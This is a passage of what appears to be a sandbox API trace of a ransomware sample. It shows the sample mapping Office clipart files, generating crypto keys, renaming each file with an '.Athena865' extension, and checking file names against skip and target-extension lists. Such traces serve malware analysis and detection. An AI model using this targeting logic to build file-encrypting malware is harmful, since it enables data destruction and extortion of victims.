dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.096] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9304) returned 1 [0122.096] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.097] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.097] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.097] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2760, lpName=0x0) returned 0x154 [0122.098] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2760) returned 0x100000 [0122.099] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.099] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.099] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.100] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00242_.WMF" | out: lpString1="BL00242_.WMF") returned="BL00242_.WMF" [0122.100] lstrlenW (lpString="BL00242_.WMF") returned 12 [0122.100] lstrlenW (lpString="Athena865") returned 9 [0122.100] lstrcmpiW (lpString1="0242_.WMF", lpString2="Athena865") returned -1 [0122.100] lstrlenW (lpString=".dll") returned 4 [0122.100] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.Athena865") returned 73 [0122.100] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00242_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00242_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.102] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4024) returned 1 [0122.102] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.102] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.102] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.103] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12c0, lpName=0x0) returned 0x154 [0122.104] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12c0) returned 0x100000 [0122.105] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.105] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.105] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.106] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00247_.WMF" | out: lpString1="BL00247_.WMF") returned="BL00247_.WMF" [0122.106] lstrlenW (lpString="BL00247_.WMF") returned 12 [0122.106] lstrlenW (lpString="Athena865") returned 9 [0122.106] lstrcmpiW (lpString1="0247_.WMF", lpString2="Athena865") returned -1 [0122.106] lstrlenW (lpString=".dll") returned 4 [0122.106] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.Athena865") returned 73 [0122.106] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00247_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00247_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.107] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=14444) returned 1 [0122.107] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.108] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.108] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.108] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b70, lpName=0x0) returned 0x154 [0122.109] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b70) returned 0x100000 [0122.110] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.111] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.111] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.112] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00248_.WMF" | out: lpString1="BL00248_.WMF") returned="BL00248_.WMF" [0122.112] lstrlenW (lpString="BL00248_.WMF") returned 12 [0122.112] lstrlenW (lpString="Athena865") returned 9 [0122.112] lstrcmpiW (lpString1="0248_.WMF", lpString2="Athena865") returned -1 [0122.112] lstrlenW (lpString=".dll") returned 4 [0122.112] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.Athena865") returned 73 [0122.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.113] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1536) returned 1 [0122.113] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.114] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.114] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.114] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x900, lpName=0x0) returned 0x154 [0122.122] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x900) returned 0x100000 [0122.122] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.123] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.123] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.124] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00252_.WMF" | out: lpString1="BL00252_.WMF") returned="BL00252_.WMF" [0122.124] lstrlenW (lpString="BL00252_.WMF") returned 12 [0122.124] lstrlenW (lpString="Athena865") returned 9 [0122.124] lstrcmpiW (lpString1="0252_.WMF", lpString2="Athena865") returned -1 [0122.124] lstrlenW (lpString=".dll") returned 4 [0122.124] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.Athena865") returned 73 [0122.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.125] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4708) returned 1 [0122.125] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.126] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.126] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.126] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1570, lpName=0x0) returned 0x154 [0122.130] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1570) returned 0x100000 [0122.131] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.131] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.131] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.132] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00254_.WMF" | out: lpString1="BL00254_.WMF") returned="BL00254_.WMF" [0122.132] lstrlenW (lpString="BL00254_.WMF") returned 12 [0122.132] lstrlenW (lpString="Athena865") returned 9 [0122.132] lstrcmpiW (lpString1="0254_.WMF", lpString2="Athena865") returned -1 [0122.132] lstrlenW (lpString=".dll") returned 4 [0122.132] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.Athena865") returned 73 [0122.132] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.134] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1736) returned 1 [0122.134] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.135] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.135] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.135] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d0, lpName=0x0) returned 0x154 [0122.136] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d0) returned 0x100000 [0122.137] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.137] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.137] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.138] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00261_.WMF" | out: lpString1="BL00261_.WMF") returned="BL00261_.WMF" [0122.138] lstrlenW (lpString="BL00261_.WMF") returned 12 [0122.138] lstrlenW (lpString="Athena865") returned 9 [0122.138] lstrcmpiW (lpString1="0261_.WMF", lpString2="Athena865") returned -1 [0122.138] lstrlenW (lpString=".dll") returned 4 [0122.138] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.Athena865") returned 73 [0122.138] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.139] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12482) returned 1 [0122.139] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.140] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.140] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.140] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33d0, lpName=0x0) returned 0x154 [0122.142] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33d0) returned 0x100000 [0122.142] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.143] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.143] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.144] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00262_.WMF" | out: lpString1="BL00262_.WMF") returned="BL00262_.WMF" [0122.144] lstrlenW (lpString="BL00262_.WMF") returned 12 [0122.144] lstrlenW (lpString="Athena865") returned 9 [0122.144] lstrcmpiW (lpString1="0262_.WMF", lpString2="Athena865") returned -1 [0122.144] lstrlenW (lpString=".dll") returned 4 [0122.144] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.Athena865") returned 73 [0122.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.athena865"), dwFlags=0x1) returned 1 [0122.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0122.146] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2556) returned 1 [0122.146] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0122.146] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0122.146] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.147] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd00, lpName=0x0) returned 0x154 [0122.148] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd00) returned 0x100000 [0122.149] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0122.150] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0122.150] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2=".") returned 1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="..") returned 1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="windows") returned -1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="bootmgr") returned -1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="temp") returned -1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="pagefile.sys") returned -1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="boot") returned -1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="ids.txt") returned -1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="ntuser.dat") returned -1 [0122.151] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="perflogs") returned -1 [0122.152] lstrcmpiW (lpString1="BL00265_.WMF", lpString2="MSBuild") returned -1 [0122.152] lstrlenW (lpString="BL00265_.WMF") returned 12 [0122.152] lstrcpyW (in: lpString1=0x241e8ae, lpString2="BL00265_.WMF" | out: lpString1="BL00265_.WMF") returned="BL00265_.WMF" [0122.152] lstrlenW (lpString="BL00265_.WMF") returned 12 [0122.152] lstrlenW (lpString="Athena865") returned 9 [0122.152] lstrcmpiW (lpString1="0265_.WMF", lpString2="Athena865") returned -1 [0122.152] lstrlenW (lpString=".dll") returned 4 [0122.152] lstrcmpiW (lpString1="BL00265_.WMF", lpString2=".dll") returned 1 [0122.152] lstrlenW (lpString=".lnk") returned 4 [0122.152] lstrcmpiW (lpString1="BL00265_.WMF", lpString2=".lnk") returned 1 [0122.152] lstrlenW (lpString=".ini") returned 4 [0122.152] lstrcmpiW (lpString1="BL00265_.WMF", lpString2=".ini") returned 1 [0122.152] lstrlenW (lpString=".sys") returned 4 [0122.152] lstrcmpiW (lpString1="BL00265_.WMF", lpString2=".sys") returned 1 [0122.152] lstrlenW (lpString="BL00265_.WMF") returned 12 [0122.152] lstrlenW (lpString="bak") returned 3 [0122.152] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0122.152] lstrlenW (lpString="ba_") returned 3 [0122.152] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0122.152] lstrlenW (lpString="dbb") returned 3 [0122.152] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0122.152] lstrlenW (lpString="vmdk") returned 4 [0122.152] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0122.152] lstrlenW (lpString="rar") returned 3 [0122.152] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0122.152] lstrlenW (lpString="zip") returned 3 [0122.152] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0122.152] lstrlenW (lpString="tgz") returned 3 [0122.153] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0122.153] lstrlenW (lpString="vbox") returned 4 [0122.153] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0122.153] lstrlenW (lpString="vdi") returned 3 [0122.153] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0122.153] lstrlenW (lpString="vhd") returned 3 [0122.153] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0122.153] lstrlenW (lpString="vhdx") returned 4 [0122.153] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0122.153] lstrlenW (lpString="avhd") returned 4 [0122.153] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0122.153] lstrlenW (lpString="db") returned 2 [0122.153] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0122.153] lstrlenW (lpString="db2") returned 3 [0122.153] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0122.153] lstrlenW (lpString="db3") returned 3 [0122.153] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0122.153] lstrlenW (lpString="dbf") returned 3 [0122.153] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0122.153] lstrlenW (lpString="mdf") returned 3 [0122.153] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0122.153] lstrlenW (lpString="mdb") returned 3 [0122.153] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0122.153] lstrlenW (lpString="sql") returned 3 [0122.153] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0122.153] lstrlenW (lpString="sqlite") returned 6 [0122.153] lstrcmpiW (lpString1="5_.WMF", lpString2="sqlite") returned -1 [0122.153] lstrlenW (lpString="sqlite3") returned 7 [0122.153] lstrcmpiW (lpString1="65_.WMF", lpString2="sqlite3") returned -1 [0122.153] lstrlenW (lpString="sqlitedb") returned 8 [0122.154] lstrcmpiW (lpString1="265_.WMF", lpString2="sqlitedb") returned -1 [0122.154] lstrlenW (lpString="xml") returned 3 [0122.154] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0122.154] lstrlenW (lpString="$er") returned 3 [0122.154] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0122.154] lstrlenW (lpString="4dd") returned 3 [0122.154] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0122.154] lstrlenW (lpString="4dl") returned 3 [0122.154] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0122.154] lstrlenW (lpString="^^^") returned 3 [0122.154] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0122.154] lstrlenW (lpString="abs") returned 3 [0122.154] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0122.154] lstrlenW (lpString="abx") returned 3 [0122.154] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0122.154] lstrlenW (lpString="accdb") returned 5 [0122.154] lstrcmpiW (lpString1="_.WMF", lpString2="accdb") returned -1 [0122.154] lstrlenW (lpString="accdc") returned 5 [0122.154] lstrcmpiW (lpString1="_.WMF", lpString2="accdc") returned -1 [0122.154] lstrlenW (lpString="accde") returned 5 [0122.154] lstrcmpiW (lpString1="_.WMF", lpString2="accde") returned -1 [0122.154] lstrlenW (lpString="accdr") returned 5 [0122.154] lstrcmpiW (lpString1="_.WMF", lpString2="accdr") returned -1 [0122.154] lstrlenW (lpString="accdt") returned 5 [0122.154] lstrcmpiW (lpString1="_.WMF", lpString2="accdt") returned -1 [0122.154] lstrlenW (lpString="accdw") returned 5 [0122.154] lstrcmpiW (lpString1="_.WMF", lpString2="accdw") returned -1 [0122.154] lstrlenW (lpString="accft") returned 5 [0122.155] lstrcmpiW (lpString1="_.WMF", lpString2="accft") returned -1 [0122.155] lstrlenW (lpString="adb") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0122.155] lstrlenW (lpString="adb") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0122.155] lstrlenW (lpString="ade") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0122.155] lstrlenW (lpString="adf") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0122.155] lstrlenW (lpString="adn") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0122.155] lstrlenW (lpString="adp") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0122.155] lstrlenW (lpString="alf") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0122.155] lstrlenW (lpString="ask") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0122.155] lstrlenW (lpString="btr") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0122.155] lstrlenW (lpString="cat") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0122.155] lstrlenW (lpString="cdb") returned 3 [0122.155] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0122.155] 